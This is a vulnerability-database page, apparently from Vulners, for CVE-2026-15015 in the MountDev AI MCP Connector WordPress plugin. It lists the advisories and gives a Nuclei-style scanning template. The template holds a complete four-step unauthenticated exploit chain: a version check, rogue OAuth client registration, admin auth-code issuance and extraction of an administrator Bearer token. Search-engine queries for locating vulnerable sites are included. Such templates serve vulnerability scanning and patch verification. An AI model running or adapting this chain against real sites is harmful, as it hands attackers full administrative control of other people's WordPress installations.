MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure
| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| CVE-2026-15015 | 23 Jul 202609:33 | – | attackerkb | |
| CVE-2026-15015 | 23 Jul 202610:30 | – | circl | |
| CVE-2026-15015 | 23 Jul 202609:33 | – | cve | |
| CVE-2026-15015 MountDev AI MCP Connector for WordPress <= 1.6.1 - Unauthenticated Privilege Escalation via OAuth Authorization Endpoint | 23 Jul 202609:33 | – | cvelist | |
| EUVD-2026-47907 | 23 Jul 202609:33 | – | euvd | |
| wp-secure-mcp | 23 Oct 202610:59 | – | kitploit | |
| CVE-2026-15015 | 23 Jul 202610:16 | – | nvd | |
| WordPress MountDev AI MCP Connector for WordPress plugin <= 1.6.1 - Unauthenticated Privilege Escalation vulnerability | 30 Jul 202607:47 | – | patchstack | |
| PT-2026-63786 | 22 Jul 202600:00 | – | ptsecurity | |
| CVE-2026-15015: Missing Authorization | 23 Jul 202600:00 | – | rapid7 |
10
id: CVE-2026-15015
info:
name: MountDev AI MCP Connector <= 1.6.1 - Unauthenticated Admin OAuth Token Exposure
author: DhiyaneshDk
severity: critical
description: |
MountDev AI MCP Connector for WordPress (mountdev-ai-mcp-connector) <= 1.6.1 is vulnerable to unauthenticated authorization bypass (CWE-862) via its OAuth 2.0 implementation. The plugin exposes a publicly accessible Dynamic Client Registration endpoint (/mcp-register) at WordPress init-level that allows any unauthenticated caller to register arbitrary OAuth clients. The subsequent authorization endpoint (/wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize) then auto-approves the OAuth flow using the first WordPress administrator account found via get_users({role: administrator, number: 1}), issuing an admin-bound authorization code without checking who is making the request. Exchanging this code at /mcp-token yields a full Bearer token granting administrator-equivalent access to the MCP tool surface and all exposed WordPress content, users, options, and settings.
impact: |
Unauthenticated remote attackers can obtain Bearer tokens bound to a WordPress administrator account, granting complete administrative control via the MCP interface including read/write access to all posts, pages, users, plugins, themes, site settings, and database options.
remediation: |
Update the MountDev AI MCP Connector plugin to version 1.6.2 or later, which adds proper authorization checks to the Dynamic Client Registration and authorization endpoints.
reference:
- https://github.com/les-k/wp-secure-mcp
- https://plugins.trac.wordpress.org/browser/mountdev-ai-mcp-connector/tags/1.6.0/includes/class-oauth-controller.php#L370
- https://nvd.nist.gov/vuln/detail/CVE-2026-15015
- https://www.rapid7.com/db/vulnerabilities/cve-2026-15015/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2026-15015
epss-score: 0.02647
epss-percentile: 0.85495
cwe-id: CWE-862
metadata:
verified: true
max-request: 4
vendor: developer-developer-developer
product: mountdev-ai-mcp-connector
framework: wordpress
shodan-query: http.html:"/wp-content/plugins/mountdev-ai-mcp-connector/"
fofa-query: body="/wp-content/plugins/mountdev-ai-mcp-connector/"
publicwww-query: "/wp-content/plugins/mountdev-ai-mcp-connector/"
tags: cve,cve2026,wordpress,wp-plugin,authorization-bypass,oauth,token-exposure,vkev
variables:
client_name: "{{randstr}}"
flow: http(1) && http(2) && http(3) && http(4)
http:
- raw:
- |
GET /wp-content/plugins/mountdev-ai-mcp-connector/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
internal: true
dsl:
- 'contains(body, "MCP Connector")'
- 'compare_versions(plugin_version, "<= 1.6.1")'
condition: and
extractors:
- type: regex
name: plugin_version
part: body
group: 1
regex:
- "(?i)Stable tag:\\s*([0-9]+\\.[0-9]+(?:\\.[0-9]+)?)"
internal: true
- raw:
- |
POST /mcp-register HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"redirect_uris":["{{RootURL}}"],"client_name":"{{client_name}}","token_endpoint_auth_method":"client_secret_post"}
matchers:
- type: dsl
dsl:
- 'contains(body, "client_id") && contains(body, "client_secret")'
- 'status_code == 201'
condition: and
internal: true
extractors:
- type: regex
name: client_id
part: body
group: 1
regex:
- '"client_id"\s*:\s*"([^"]+)"'
internal: true
- type: regex
name: client_secret
part: body
group: 1
regex:
- '"client_secret"\s*:\s*"([^"]+)"'
internal: true
- raw:
- |
GET /wp-json/mountdev-ai-mcp-connector/v1/oauth/authorize?client_id={{client_id}}&redirect_uri={{RootURL}}&response_type=code&scope=mcp HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains(header, "code=")'
- 'status_code == 302'
condition: and
internal: true
extractors:
- type: regex
name: auth_code
part: header
group: 1
regex:
- "code=([a-zA-Z0-9]+)"
internal: true
- raw:
- |
POST /mcp-token HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
grant_type=authorization_code&code={{auth_code}}&client_id={{client_id}}&client_secret={{client_secret}}
matchers:
- type: dsl
dsl:
- 'contains(body, "access_token") && contains(body, "Bearer")'
- 'contains(header, "application/json")'
- 'status_code == 200'
condition: and
extractors:
- type: regex
name: access_token
part: body
group: 1
regex:
- '"access_token"\s*:\s*"([^"]+)"'
# digest: 490a0046304402207e0369f776693baa843d4b51de306482e68556cdb3c6966e76c86058966cac5302200eae72a02174c68c90d29e0b63dfb1f0a1071b87165ecc57abed196903984ffb:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
20 Oct 2026 23:26Current
6.1Medium risk
Vulners AI Score6.1
CVSS 3.19.8
EPSS0.02647
SSVC